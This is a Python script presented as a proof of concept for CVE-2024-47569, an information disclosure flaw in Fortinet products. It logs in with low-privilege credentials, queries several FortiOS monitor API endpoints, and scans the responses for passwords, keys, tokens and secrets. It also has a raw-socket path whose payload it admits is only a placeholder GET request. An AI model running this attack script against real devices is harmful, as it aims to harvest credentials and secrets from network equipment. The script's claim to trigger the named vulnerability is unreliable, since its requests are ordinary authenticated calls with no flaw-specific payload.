# CVE-2024-47569 PoC - Fortinet Sensitive Information Disclosure
# Vulnerability: Insertion of Sensitive Information into Sent Data
# Reference: https://fortiguard.fortinet.com/psirt/FG-IR-24-228
import requests
import socket
import struct
from urllib.parse import urljoin
class FortinetInfoDisclosure:
"""
PoC for CVE-2024-47569
Exploits sensitive information disclosure in Fortinet products
via specially crafted packets.
"""
def __init__(self, target, port, username, password, protocol='https'):
self.target = target
self.port = port
self.username = username
self.password = password
self.protocol = protocol
self.base_url = f"{protocol}://{target}:{port}"
self.session = requests.Session()
self.session.verify = False
def authenticate(self):
"""Authenticate to the Fortinet device with low-privilege credentials"""
login_url = urljoin(self.base_url, '/logincheck')
data = {
'username': self.username,
'password': self.password,
'ajax': '1'
}
try:
resp = self.session.post(login_url, data=data, timeout=10)
if resp.status_code == 200 and 'error' not in resp.text.lower():
print(f"[+] Successfully authenticated to {self.target}")
return True
except Exception as e:
print(f"[-] Authentication failed: {e}")
return False
def exploit(self):
"""
Send specially crafted packets to trigger sensitive information disclosure.
The vulnerability causes the device to embed sensitive information
in response data.
"""
# Endpoint known to be affected by the info disclosure vulnerability
target_endpoints = [
'/api/v2/monitor/system/status',
'/api/v2/monitor/system/dns',
'/api/v2/monitor/router/ipv4',
'/api/v2/log/event/forward',
'/api/v2/monitor/firewall/policy',
'/api/v2/monitor/vpn/ipsec',
]
disclosed_info = {}
for endpoint in target_endpoints:
url = urljoin(self.base_url, endpoint)
try:
# Craft a request with specific parameters to trigger info leak
resp = self.session.get(url, timeout=10)
if resp.status_code == 200:
content = resp.json() if resp.headers.get('content-type', '').startswith('application/json') else resp.text
# Check for sensitive data in response
sensitive_patterns = ['serial', 'license', 'password', 'secret',
'private_key', 'token', 'credential']
for pattern in sensitive_patterns:
if pattern.lower() in str(content).lower():
disclosed_info[endpoint] = content
print(f"[!] Sensitive info found at {endpoint}: {pattern}")
break
except Exception as e:
continue
return disclosed_info
def raw_packet_exploit(self):
"""
Alternative exploitation via raw TCP packets for non-HTTP services.
Sends specially crafted binary packets to trigger the vulnerability.
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((self.target, self.port))
# Craft a specially formed packet to trigger info disclosure
# The exact payload varies by Fortinet product and version
payload = self._craft_payload()
sock.send(payload)
response = sock.recv(4096)
print(f"[+] Raw response received ({len(response)} bytes)")
# Decode and analyze response for sensitive data
sock.close()
return response
except Exception as e:
print(f"[-] Raw packet exploit failed: {e}")
return None
def _craft_payload(self):
"""Craft a specially crafted packet for the target service"""
# This is a generic placeholder - actual payload depends on
# specific Fortinet product and vulnerable code path
return b'GET /api/v2/monitor/system/status HTTP/1.1\r\nHost: ' + \
self.target.encode() + b'\r\n\r\n'
def main():
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Configuration
TARGET = "192.168.1.1" # Target Fortinet device IP
PORT = 443 # HTTPS port
USERNAME = "low_priv_user" # Low-privilege credentials
PASSWORD = "password123"
print(f"[*] CVE-2024-47569 PoC - Fortinet Sensitive Info Disclosure")
print(f"[*] Target: {TARGET}:{PORT}")
exploit_tool = FortinetInfoDisclosure(TARGET, PORT, USERNAME, PASSWORD)
if exploit_tool.authenticate():
leaked_data = exploit_tool.exploit()
if leaked_data:
print(f"\n[!] Disclosed sensitive information:")
for endpoint, data in leaked_data.items():
print(f" Endpoint: {endpoint}")
print(f" Data: {str(data)[:200]}...")
else:
print("[-] No sensitive data disclosed")
else:
print("[-] Could not authenticate - valid credentials required")
if __name__ == "__main__":
main()